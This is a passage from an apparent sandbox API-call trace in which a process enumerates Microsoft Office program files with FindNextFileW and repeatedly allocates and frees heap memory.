Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2208 [0075.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9898 [0075.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.211] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78ea0a00, ftCreationTime.dwHighDateTime=0x1c32175, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x78ea0a00, ftLastWriteTime.dwHighDateTime=0x1c32175, nFileSizeHigh=0x0, nFileSizeLow=0x76000, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBSAMPLE.MDB", cAlternateFileName="")) returned 1 [0075.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2228 [0075.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9920 [0075.211] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.211] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac531400, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xac531400, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x28178, dwReserved0=0x0, dwReserved1=0x0, cFileName="DBWIZ.VSL", cAlternateFileName="")) returned 1 [0075.211] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2248 [0075.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa99a8 [0075.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.212] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe4d7e200, ftCreationTime.dwHighDateTime=0x1c9c49e, ftLastAccessTime.dwLowDateTime=0x50787f60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xe4d7e200, ftLastWriteTime.dwHighDateTime=0x1c9c49e, nFileSizeHigh=0x0, nFileSizeLow=0xd7a, dwReserved0=0x0, dwReserved1=0x0, cFileName="DEFAULT.CSS", cAlternateFileName="")) returned 1 [0075.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2268 [0075.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9a30 [0075.212] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.212] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x66f81800, ftCreationTime.dwHighDateTime=0x1c913a0, ftLastAccessTime.dwLowDateTime=0xfd48ff70, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x66f81800, ftLastWriteTime.dwHighDateTime=0x1c913a0, nFileSizeHigh=0x0, nFileSizeLow=0x19984, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion.gta", cAlternateFileName="")) returned 1 [0075.212] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2288 [0075.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9ab8 [0075.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.213] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x45b12e00, ftCreationTime.dwHighDateTime=0x1ca99cf, ftLastAccessTime.dwLowDateTime=0xfd4b60d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x45b12e00, ftLastWriteTime.dwHighDateTime=0x1ca99cf, nFileSizeHigh=0x0, nFileSizeLow=0x587c9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Discussion14.gta", cAlternateFileName="")) returned 1 [0075.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.213] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab22a8 [0075.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa5258 [0075.213] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x3640) returned 0xab38f0 [0075.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa94c50) returned 1 [0075.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.214] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x2988, dwReserved0=0x0, dwReserved1=0x0, cFileName="DL_RES.DLL", cAlternateFileName="")) returned 1 [0075.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.214] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0ff9500, ftCreationTime.dwHighDateTime=0x1c55530, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf0ff9500, ftLastWriteTime.dwHighDateTime=0x1c55530, nFileSizeHigh=0x0, nFileSizeLow=0x6bb, dwReserved0=0x0, dwReserved1=0x0, cFileName="DOORSCHD.VRD", cAlternateFileName="")) returned 1 [0075.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab22c8 [0075.214] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9b40 [0075.214] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.215] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb117c800, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507ae0c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xb117c800, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0xfd68, dwReserved0=0x0, dwReserved1=0x0, cFileName="DRILLDWN.VSL", cAlternateFileName="")) returned 1 [0075.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab22e8 [0075.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9bc8 [0075.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.215] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4bb9dc00, ftCreationTime.dwHighDateTime=0x1cab7d1, ftLastAccessTime.dwLowDateTime=0x507d4220, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x4bb9dc00, ftLastWriteTime.dwHighDateTime=0x1cab7d1, nFileSizeHigh=0x0, nFileSizeLow=0x9760, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGCNV.VSL", cAlternateFileName="")) returned 1 [0075.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.215] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2308 [0075.215] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9c50 [0075.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.216] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc800ef00, ftCreationTime.dwHighDateTime=0x1cab7d2, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xc800ef00, ftLastWriteTime.dwHighDateTime=0x1cab7d2, nFileSizeHigh=0x0, nFileSizeLow=0x3f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="DWGDPRES.DLL", cAlternateFileName="")) returned 1 [0075.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.216] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62bc4600, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x62bc4600, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x388e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_INIT.XSN", cAlternateFileName="")) returned 1 [0075.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2328 [0075.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa5360 [0075.216] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.216] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x618b1900, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x618b1900, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x4d7e, dwReserved0=0x0, dwReserved1=0x0, cFileName="EADOCUMENTAPPROVAL_REVIEW.XSN", cAlternateFileName="")) returned 1 [0075.216] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2348 [0075.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa5468 [0075.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.217] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbdd9f300, ftCreationTime.dwHighDateTime=0x1cab7c8, ftLastAccessTime.dwLowDateTime=0xeed123f0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xbdd9f300, ftLastWriteTime.dwHighDateTime=0x1cab7c8, nFileSizeHigh=0x0, nFileSizeLow=0xc990, dwReserved0=0x0, dwReserved1=0x0, cFileName="EAWFINTL.DLL", cAlternateFileName="")) returned 1 [0075.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.217] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.217] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xad844100, ftCreationTime.dwHighDateTime=0x1cab7e5, ftLastAccessTime.dwLowDateTime=0x507fa380, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xad844100, ftLastWriteTime.dwHighDateTime=0x1cab7e5, nFileSizeHigh=0x0, nFileSizeLow=0x4d80, dwReserved0=0x0, dwReserved1=0x0, cFileName="EDITRES.DLL", cAlternateFileName="")) returned 1 [0075.217] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.218] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e6b2600, ftCreationTime.dwHighDateTime=0x1cac1f4, ftLastAccessTime.dwLowDateTime=0xeed38550, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x1e6b2600, ftLastWriteTime.dwHighDateTime=0x1cac1f4, nFileSizeHigh=0x0, nFileSizeLow=0x5f88, dwReserved0=0x0, dwReserved1=0x0, cFileName="EntityPickerIntl.dll", cAlternateFileName="")) returned 1 [0075.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.218] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe1e9b800, ftCreationTime.dwHighDateTime=0x1cac9b3, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe1e9b800, ftLastWriteTime.dwHighDateTime=0x1cac9b3, nFileSizeHigh=0x0, nFileSizeLow=0x4388, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL", cAlternateFileName="")) returned 1 [0075.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.218] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.218] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.219] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2411fa00, ftCreationTime.dwHighDateTime=0x1cac9b2, ftLastAccessTime.dwLowDateTime=0xee1a70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2411fa00, ftLastWriteTime.dwHighDateTime=0x1cac9b2, nFileSizeHigh=0x0, nFileSizeLow=0x3580, dwReserved0=0x0, dwReserved1=0x0, cFileName="ENVELOPR.DLL.IDX_DLL", cAlternateFileName="")) returned 1 [0075.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2368 [0075.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa5570 [0075.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.219] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9e19600, ftCreationTime.dwHighDateTime=0x1c56bc4, ftLastAccessTime.dwLowDateTime=0x508b8a60, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0xf9e19600, ftLastWriteTime.dwHighDateTime=0x1c56bc4, nFileSizeHigh=0x0, nFileSizeLow=0x6a3, dwReserved0=0x0, dwReserved1=0x0, cFileName="EQPLIST.VRD", cAlternateFileName="")) returned 1 [0075.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.219] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab2388 [0075.219] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9cd8 [0075.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.220] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a197900, ftCreationTime.dwHighDateTime=0x1ca8073, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0x8a197900, ftLastWriteTime.dwHighDateTime=0x1ca8073, nFileSizeHigh=0x0, nFileSizeLow=0x6b2dfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV.HXS", cAlternateFileName="")) returned 1 [0075.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab23a8 [0075.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa9d60 [0075.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.220] FindNextFileW (in: hFindFile=0x2e9040, lpFindFileData=0x119ef54 | out: lpFindFileData=0x119ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2472900, ftCreationTime.dwHighDateTime=0x1c9ff31, ftLastAccessTime.dwLowDateTime=0xfa246eb0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf2472900, ftLastWriteTime.dwHighDateTime=0x1c9ff31, nFileSizeHigh=0x0, nFileSizeLow=0x281, dwReserved0=0x0, dwReserved1=0x0, cFileName="EXCEL.DEV_COL.HXC", cAlternateFileName="")) returned 1 [0075.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.220] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xaa92c0 [0075.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0xab23c8 [0075.220] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0xaa5678 [0075.221] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xaa92c0) returned 1 [0075.221] FindNextFileW (in: 